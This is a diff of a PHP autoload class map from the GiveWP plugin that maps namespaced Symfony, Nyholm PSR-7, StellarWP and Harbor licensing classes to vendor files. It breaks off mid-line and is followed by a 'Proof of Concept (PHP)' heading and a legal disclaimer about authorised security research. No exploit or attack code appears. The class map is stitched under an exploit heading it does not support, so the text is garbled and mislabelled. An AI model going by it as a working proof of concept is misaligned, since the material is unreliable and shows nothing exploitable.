+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionFileNotFoundException' => $strauss_src . '/symfony/http-foundation/File/Exception/FileNotFoundException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionNoTmpDirFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/NoTmpDirFileException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionAccessDeniedException' => $strauss_src . '/symfony/http-foundation/File/Exception/AccessDeniedException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionUploadException' => $strauss_src . '/symfony/http-foundation/File/Exception/UploadException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionFormSizeFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/FormSizeFileException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionNoFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/NoFileException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/FileException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionIniSizeFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/IniSizeFileException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionPartialFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/PartialFileException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionExtensionFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/ExtensionFileException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionUnexpectedTypeException' => $strauss_src . '/symfony/http-foundation/File/Exception/UnexpectedTypeException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionCannotWriteFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/CannotWriteFileException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationInputBag' => $strauss_src . '/symfony/http-foundation/InputBag.php',
+   'GiveVendorsSymfonyComponentHttpFoundationRequestStack' => $strauss_src . '/symfony/http-foundation/RequestStack.php',
+   'GiveVendorsSymfonyComponentHttpFoundationBinaryFileResponse' => $strauss_src . '/symfony/http-foundation/BinaryFileResponse.php',
+   'GiveVendorsSymfonyComponentHttpFoundationResponse' => $strauss_src . '/symfony/http-foundation/Response.php',
+   'GiveVendorsSymfonyComponentHttpFoundationHeaderBag' => $strauss_src . '/symfony/http-foundation/HeaderBag.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionUtils' => $strauss_src . '/symfony/http-foundation/Session/SessionUtils.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageSessionStorageFactoryInterface' => $strauss_src . '/symfony/http-foundation/Session/Storage/SessionStorageFactoryInterface.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageNativeSessionStorageFactory' => $strauss_src . '/symfony/http-foundation/Session/Storage/NativeSessionStorageFactory.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerIdentityMarshaller' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/IdentityMarshaller.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerMemcachedSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/MemcachedSessionHandler.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerAbstractSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/AbstractSessionHandler.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerMarshallingSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/MarshallingSessionHandler.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerStrictSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/StrictSessionHandler.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerSessionHandlerFactory' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/SessionHandlerFactory.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerPdoSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/PdoSessionHandler.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerNativeFileSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/NativeFileSessionHandler.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerMigratingSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/MigratingSessionHandler.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerNullSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/NullSessionHandler.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerMongoDbSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/MongoDbSessionHandler.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerRedisSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/RedisSessionHandler.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStoragePhpBridgeSessionStorage' => $strauss_src . '/symfony/http-foundation/Session/Storage/PhpBridgeSessionStorage.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageProxyAbstractProxy' => $strauss_src . '/symfony/http-foundation/Session/Storage/Proxy/AbstractProxy.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageProxySessionHandlerProxy' => $strauss_src . '/symfony/http-foundation/Session/Storage/Proxy/SessionHandlerProxy.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStoragePhpBridgeSessionStorageFactory' => $strauss_src . '/symfony/http-foundation/Session/Storage/PhpBridgeSessionStorageFactory.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageMetadataBag' => $strauss_src . '/symfony/http-foundation/Session/Storage/MetadataBag.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageNativeSessionStorage' => $strauss_src . '/symfony/http-foundation/Session/Storage/NativeSessionStorage.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageMockFileSessionStorageFactory' => $strauss_src . '/symfony/http-foundation/Session/Storage/MockFileSessionStorageFactory.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageMockArraySessionStorage' => $strauss_src . '/symfony/http-foundation/Session/Storage/MockArraySessionStorage.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageSessionStorageInterface' => $strauss_src . '/symfony/http-foundation/Session/Storage/SessionStorageInterface.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageMockFileSessionStorage' => $strauss_src . '/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageServiceSessionFactory' => $strauss_src . '/symfony/http-foundation/Session/Storage/ServiceSessionFactory.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionSession' => $strauss_src . '/symfony/http-foundation/Session/Session.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionFactory' => $strauss_src . '/symfony/http-foundation/Session/SessionFactory.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionAttributeNamespacedAttributeBag' => $strauss_src . '/symfony/http-foundation/Session/Attribute/NamespacedAttributeBag.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionAttributeAttributeBagInterface' => $strauss_src . '/symfony/http-foundation/Session/Attribute/AttributeBagInterface.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionAttributeAttributeBag' => $strauss_src . '/symfony/http-foundation/Session/Attribute/AttributeBag.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionFactoryInterface' => $strauss_src . '/symfony/http-foundation/Session/SessionFactoryInterface.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionBagInterface' => $strauss_src . '/symfony/http-foundation/Session/SessionBagInterface.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionInterface' => $strauss_src . '/symfony/http-foundation/Session/SessionInterface.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionBagProxy' => $strauss_src . '/symfony/http-foundation/Session/SessionBagProxy.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionFlashFlashBagInterface' => $strauss_src . '/symfony/http-foundation/Session/Flash/FlashBagInterface.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionFlashFlashBag' => $strauss_src . '/symfony/http-foundation/Session/Flash/FlashBag.php',
+   'GiveVendorsSymfonyComponentHttpFoundationSessionFlashAutoExpireFlashBag' => $strauss_src . '/symfony/http-foundation/Session/Flash/AutoExpireFlashBag.php',
+   'GiveVendorsSymfonyComponentHttpFoundationResponseHeaderBag' => $strauss_src . '/symfony/http-foundation/ResponseHeaderBag.php',
+   'GiveVendorsSymfonyComponentHttpFoundationHeaderUtils' => $strauss_src . '/symfony/http-foundation/HeaderUtils.php',
+   'GiveVendorsSymfonyComponentHttpFoundationRedirectResponse' => $strauss_src . '/symfony/http-foundation/RedirectResponse.php',
+   'GiveVendorsSymfonyComponentHttpFoundationAcceptHeaderItem' => $strauss_src . '/symfony/http-foundation/AcceptHeaderItem.php',
+   'GiveVendorsSymfonyComponentHttpFoundationExceptionSessionNotFoundException' => $strauss_src . '/symfony/http-foundation/Exception/SessionNotFoundException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationExceptionRequestExceptionInterface' => $strauss_src . '/symfony/http-foundation/Exception/RequestExceptionInterface.php',
+   'GiveVendorsSymfonyComponentHttpFoundationExceptionJsonException' => $strauss_src . '/symfony/http-foundation/Exception/JsonException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationExceptionSuspiciousOperationException' => $strauss_src . '/symfony/http-foundation/Exception/SuspiciousOperationException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationExceptionBadRequestException' => $strauss_src . '/symfony/http-foundation/Exception/BadRequestException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationExceptionConflictingHeadersException' => $strauss_src . '/symfony/http-foundation/Exception/ConflictingHeadersException.php',
+   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseCookieValueSame' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseCookieValueSame.php',
+   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseFormatSame' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseFormatSame.php',
+   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseStatusCodeSame' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseStatusCodeSame.php',
+   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseIsRedirected' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseIsRedirected.php',
+   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseHeaderSame' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseHeaderSame.php',
+   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseIsUnprocessable' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseIsUnprocessable.php',
+   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintRequestAttributeValueSame' => $strauss_src . '/symfony/http-foundation/Test/Constraint/RequestAttributeValueSame.php',
+   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseHasHeader' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseHasHeader.php',
+   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseIsSuccessful' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseIsSuccessful.php',
+   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseHasCookie' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseHasCookie.php',
+   'GiveVendorsSymfonyPolyfillPhp80Php80' => $strauss_src . '/symfony/polyfill-php80/Php80.php',
+   'Attribute' => $strauss_src . '/symfony/polyfill-php80/Resources/stubs/Attribute.php',
+   'UnhandledMatchError' => $strauss_src . '/symfony/polyfill-php80/Resources/stubs/UnhandledMatchError.php',
+   'Stringable' => $strauss_src . '/symfony/polyfill-php80/Resources/stubs/Stringable.php',
+   'ValueError' => $strauss_src . '/symfony/polyfill-php80/Resources/stubs/ValueError.php',
+   'PhpToken' => $strauss_src . '/symfony/polyfill-php80/Resources/stubs/PhpToken.php',
+   'GiveVendorsSymfonyPolyfillPhp80PhpToken' => $strauss_src . '/symfony/polyfill-php80/PhpToken.php',
    'GiveVendorsNyholmPsr7FactoryHttplugFactory' => $strauss_src . '/nyholm/psr7/src/Factory/HttplugFactory.php',
    'GiveVendorsNyholmPsr7FactoryPsr17Factory' => $strauss_src . '/nyholm/psr7/src/Factory/Psr17Factory.php',
-   'GiveVendorsNyholmPsr7Request' => $strauss_src . '/nyholm/psr7/src/Request.php',
    'GiveVendorsNyholmPsr7MessageTrait' => $strauss_src . '/nyholm/psr7/src/MessageTrait.php',
-   'GiveVendorsNyholmPsr7RequestTrait' => $strauss_src . '/nyholm/psr7/src/RequestTrait.php',
-   'GiveVendorsNyholmPsr7ServerRequest' => $strauss_src . '/nyholm/psr7/src/ServerRequest.php',
    'GiveVendorsNyholmPsr7UploadedFile' => $strauss_src . '/nyholm/psr7/src/UploadedFile.php',
+   'GiveVendorsNyholmPsr7Request' => $strauss_src . '/nyholm/psr7/src/Request.php',
+   'GiveVendorsNyholmPsr7Uri' => $strauss_src . '/nyholm/psr7/src/Uri.php',
    'GiveVendorsNyholmPsr7Stream' => $strauss_src . '/nyholm/psr7/src/Stream.php',
+   'GiveVendorsNyholmPsr7RequestTrait' => $strauss_src . '/nyholm/psr7/src/RequestTrait.php',
+   'GiveVendorsNyholmPsr7ServerRequest' => $strauss_src . '/nyholm/psr7/src/ServerRequest.php',
    'GiveVendorsNyholmPsr7Response' => $strauss_src . '/nyholm/psr7/src/Response.php',
    'GiveVendorsNyholmPsr7StreamTrait' => $strauss_src . '/nyholm/psr7/src/StreamTrait.php',
-   'GiveVendorsStellarWPFieldConditionsConfig' => $strauss_src . '/stellarwp/field-conditions/src/Config.php',
-   'GiveVendorsStellarWPFieldConditionsContractsCondition' => $strauss_src . '/stellarwp/field-conditions/src/Contracts/Condition.php',
-   'GiveVendorsStellarWPFieldConditionsContractsConditionSet' => $strauss_src . '/stellarwp/field-conditions/src/Contracts/ConditionSet.php',
-   'GiveVendorsStellarWPFieldConditionsConcernsHasLogicalOperator' => $strauss_src . '/stellarwp/field-conditions/src/Concerns/HasLogicalOperator.php',
-   'GiveVendorsStellarWPFieldConditionsConcernsHasConditions' => $strauss_src . '/stellarwp/field-conditions/src/Concerns/HasConditions.php',
-   'GiveVendorsStellarWPFieldConditionsSimpleConditionSet' => $strauss_src . '/stellarwp/field-conditions/src/SimpleConditionSet.php',
-   'GiveVendorsStellarWPFieldConditionsNestedCondition' => $strauss_src . '/stellarwp/field-conditions/src/NestedCondition.php',
-   'GiveVendorsStellarWPFieldConditionsFieldCondition' => $strauss_src . '/stellarwp/field-conditions/src/FieldCondition.php',
-   'GiveVendorsStellarWPFieldConditionsComplexConditionSet' => $strauss_src . '/stellarwp/field-conditions/src/ComplexConditionSet.php',
-   'GiveVendorsLiquidWebLicensingApiClientWordPressWordPressApiFactory' => $strauss_src . '/stellarwp/licensing-api-client-wordpress/src/WordPressApiFactory.php',
-   'GiveVendorsLiquidWebLicensingApiClientWordPressExceptionsWordPressHttpClientException' => $strauss_src . '/stellarwp/licensing-api-client-wordpress/src/Exceptions/WordPressHttpClientException.php',
-   'GiveVendorsLiquidWebLicensingApiClientWordPressHttpWordPressHttpClient' => $strauss_src . '/stellarwp/licensing-api-client-wordpress/src/Http/WordPressHttpClient.php',
-   'GiveVendorsStellarWPAdminNoticesNotificationsRegistrar' => $strauss_src . '/stellarwp/admin-notices/src/NotificationsRegistrar.php',
-   'GiveVendorsStellarWPAdminNoticesContractsNotificationsRegistrarInterface' => $strauss_src . '/stellarwp/admin-notices/src/Contracts/NotificationsRegistrarInterface.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsStyle' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/Style.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsNoticeUrgency' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/NoticeUrgency.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsScreenCondition' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/ScreenCondition.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsNoticeLocation' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/NoticeLocation.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsScript' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/Script.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsUserCapability' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/UserCapability.php',
-   'GiveVendorsStellarWPAdminNoticesActionsRenderAdminNotice' => $strauss_src . '/stellarwp/admin-notices/src/Actions/RenderAdminNotice.php',
-   'GiveVendorsStellarWPAdminNoticesActionsEnqueueNoticesScriptsAndStyles' => $strauss_src . '/stellarwp/admin-notices/src/Actions/EnqueueNoticesScriptsAndStyles.php',
-   'GiveVendorsStellarWPAdminNoticesActionsDisplayNoticesInAdmin' => $strauss_src . '/stellarwp/admin-notices/src/Actions/DisplayNoticesInAdmin.php',
-   'GiveVendorsStellarWPAdminNoticesActionsNoticeShouldRender' => $strauss_src . '/stellarwp/admin-notices/src/Actions/NoticeShouldRender.php',
-   'GiveVendorsStellarWPAdminNoticesDataTransferObjectsNoticeElementProperties' => $strauss_src . '/stellarwp/admin-notices/src/DataTransferObjects/NoticeElementProperties.php',
-   'GiveVendorsStellarWPAdminNoticesExceptionsNotificationCollisionException' => $strauss_src . '/stellarwp/admin-notices/src/Exceptions/NotificationCollisionException.php',
-   'GiveVendorsStellarWPAdminNoticesAdminNotice' => $strauss_src . '/stellarwp/admin-notices/src/AdminNotice.php',
-   'GiveVendorsStellarWPAdminNoticesAdminNotices' => $strauss_src . '/stellarwp/admin-notices/src/AdminNotices.php',
-   'GiveVendorsStellarWPAdminNoticesTraitsHasNamespace' => $strauss_src . '/stellarwp/admin-notices/src/Traits/HasNamespace.php',
-   'GiveVendorsStellarWPContainerContractContainerInterface' => $strauss_src . '/stellarwp/container-contract/src/ContainerInterface.php',
-   'GiveVendorsLiquidWebHarborUtilsSanitize' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/Sanitize.php',
-   'GiveVendorsLiquidWebHarborUtilsCast' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/Cast.php',
-   'GiveVendorsLiquidWebHarborUtilsVersion' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/Version.php',
-   'GiveVendorsLiquidWebHarborUtilsLicense_Key' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/License_Key.php',
-   'GiveVendorsLiquidWebHarborUtilsCollection' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/Collection.php',
-   'GiveVendorsLiquidWebHarborUtilsChecks' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/Checks.php',
-   'GiveVendorsLiquidWebHarborConfig' => $strauss_src . '/stellarwp/harbor/src/Harbor/Config.php',
-   'GiveVendorsLiquidWebHarborNoticeNotice' => $strauss_src . '/stellarwp/harbor/src/Harbor/Notice/Notice.php',
-   'GiveVendorsLiquidWebHarborNoticeNotice_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/Notice/Notice_Controller.php',
-   'GiveVendorsLiquidWebHarborPremium_Plugin_Registry' => $strauss_src . '/stellarwp/harbor/src/Harbor/Premium_Plugin_Registry.php',
-   'GiveVendorsLiquidWebHarborSiteData' => $strauss_src . '/stellarwp/harbor/src/Harbor/Site/Data.php',
-   'GiveVendorsLiquidWebHarborCronValueObjectsCronHook' => $strauss_src . '/stellarwp/harbor/src/Harbor/Cron/ValueObjects/CronHook.php',
-   'GiveVendorsLiquidWebHarborCronActionsHandle_Unschedule_Cron_Data_Refresh' => $strauss_src . '/stellarwp/harbor/src/Harbor/Cron/Actions/Handle_Unschedule_Cron_Data_Refresh.php',
-   'GiveVendorsLiquidWebHarborCronProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Cron/Provider.php',
-   'GiveVendorsLiquidWebHarborCronJobsRefresh_License_Job' => $strauss_src . '/stellarwp/harbor/src/Harbor/Cron/Jobs/Refresh_License_Job.php',
-   'GiveVendorsLiquidWebHarborCronJobsRefresh_Catalog_Job' => $strauss_src . '/stellarwp/harbor/src/Harbor/Cron/Jobs/Refresh_Catalog_Job.php',
-   'GiveVendorsLiquidWebHarborCLIDisplay' => $strauss_src . '/stellarwp/harbor/src/Harbor/CLI/Display.php',
-   'GiveVendorsLiquidWebHarborCLICommandsLicense' => $strauss_src . '/stellarwp/harbor/src/Harbor/CLI/Commands/License.php',
-   'GiveVendorsLiquidWebHarborCLICommandsFeature' => $strauss_src . '/stellarwp/harbor/src/Harbor/CLI/Commands/Feature.php',
-   'GiveVendorsLiquidWebHarborCLICommandsCatalog' => $strauss_src . '/stellarwp/harbor/src/Harbor/CLI/Commands/Catalog.php',
-   'GiveVendorsLiquidWebHarborCLIProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/CLI/Provider.php',
-   'GiveVendorsLiquidWebHarborContractsAbstract_Provider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Contracts/Abstract_Provider.php',
-   'GiveVendorsLiquidWebHarborContractsProvider_Interface' => $strauss_src . '/stellarwp/harbor/src/Harbor/Contracts/Provider_Interface.php',
-   'GiveVendorsLiquidWebHarborFeaturesTypesTheme' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Types/Theme.php',
-   'GiveVendorsLiquidWebHarborFeaturesTypesFeature' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Types/Feature.php',
-   'GiveVendorsLiquidWebHarborFeaturesTypesService' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Types/Service.php',
-   'GiveVendorsLiquidWebHarborFeaturesTypesPlugin' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Types/Plugin.php',
-   'GiveVendorsLiquidWebHarborFeaturesContractsStrategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Contracts/Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesContractsInstallable' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Contracts/Installable.php',
-   'GiveVendorsLiquidWebHarborFeaturesFeature_Collection' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Feature_Collection.php',
-   'GiveVendorsLiquidWebHarborFeaturesUpdateTheme_Handler' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Update/Theme_Handler.php',
-   'GiveVendorsLiquidWebHarborFeaturesUpdatePlugin_Handler' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Update/Plugin_Handler.php',
-   'GiveVendorsLiquidWebHarborFeaturesUpdateProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Update/Provider.php',
-   'GiveVendorsLiquidWebHarborFeaturesUpdateResolve_Update_Data' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Update/Resolve_Update_Data.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyTheme_Strategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Theme_Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyService_Strategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Service_Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyPlugin_Strategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Plugin_Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyStrategy_Factory' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Strategy_Factory.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyAbstract_Strategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Abstract_Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyInstallable_Strategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Installable_Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesManager' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Manager.php',
-   'GiveVendorsLiquidWebHarborFeaturesProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Provider.php',
-   'GiveVendorsLiquidWebHarborFeaturesResolve_Feature_Collection' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Resolve_Feature_Collection.php',
-   'GiveVendorsLiquidWebHarborFeaturesError_Code' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Error_Code.php',
-   'GiveVendorsLiquidWebHarborFeaturesFeature_Resource' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Feature_Resource.php',
-   'GiveVendorsLiquidWebHarborFeaturesFeature_Repository' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Feature_Repository.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1Catalog_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/Catalog_Controller.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1Harbor_Hosts_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/Harbor_Hosts_Controller.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1License_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/License_Controller.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1Legacy_License_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/Legacy_License_Controller.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1License_Response' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/License_Response.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1Feature_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/Feature_Controller.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1Provider' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/Provider.php',
-   'GiveVendorsLiquidWebHarborAPIFunctionsActionsRegister_Submenu' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/Functions/Actions/Register_Submenu.php',
-   'GiveVendorsLiquidWebHarborAPIFunctionsActionsDisplay_Legacy_License_Page_Notice' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/Functions/Actions/Display_Legacy_License_Page_Notice.php',
-   'GiveVendorsLiquidWebHarborAPIFunctionsProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/Functions/Provider.php',
-   'GiveVendorsLiquidWebHarborAPIFunctionsGlobal_Function_Registry' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/Functions/Global_Function_Registry.php',
-   'GiveVendorsLiquidWebHarborViewWordPress_View' => $strauss_src . '/stellarwp/harbor/src/Harbor/View/WordPress_View.php',
-   'GiveVendorsLiquidWebHarborViewContractsView' => $strauss_src . '/stellarwp/harbor/src/Harbor/View/Contracts/View.php',
-   'GiveVendorsLiquidWebHarborViewExceptionsFileNotFoundException' => $strauss_src . '/stellarwp/harbor/src/Harbor/View/Exceptions/FileNotFoundException.php',
-   'GiveVendorsLiquidWebHarborViewProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/View/Provider.php',
-   'GiveVendorsLiquidWebHarborAdminFeature_Manager_Page' => $strauss_src . '/stellarwp/harbor/src/Harbor/Admin/Feature_Manager_Page.php',
-   'GiveVendorsLiquidWebHarborAdminProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Admin/Provider.php',
-   'GiveVendorsLiquidWebHarborComponentsController' => $strauss_src . '/stellarwp/harbor/src/Harbor/Components/Controller.php',
-   'GiveVendorsLiquidWebHarborLegacyNoticesLicense_Notice_Handler' => $strauss_src . '/stellarwp/harbor/src/Harbor/Legacy/Notices/License_Notice_Handler.php',
-   'GiveVendorsLiquidWebHarborLegacyLegacy_License' => $strauss_src . '/stellarwp/harbor/src/Harbor/Legacy/Legacy_License.php',
-   'GiveVendorsLiquidWebHarborLegacyProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Legacy/Provider.php',
-   'GiveVendorsLiquidWebHarborLegacyLicense_Repository' => $strauss_src . '/stellarwp/harbor/src/Harbor/Legacy/License_Repository.php',
-   'GiveVendorsLiquidWebHarborLicensingRegistryProduct_Registry' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/Registry/Product_Registry.php',
-   'GiveVendorsLiquidWebHarborLicensingRepositoriesLicense_Repository' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/Repositories/License_Repository.php',
-   'GiveVendorsLiquidWebHarborLicensingLicense_Manager' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/License_Manager.php',
-   'GiveVendorsLiquidWebHarborLicensingProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/Provider.php',
-   'GiveVendorsLiquidWebHarborLicensingEnumsValidation_Status' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/Enums/Validation_Status.php',
-   'GiveVendorsLiquidWebHarborLicensingResultsProduct_Entry' => $strauss_src . '/stellarwp/har

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

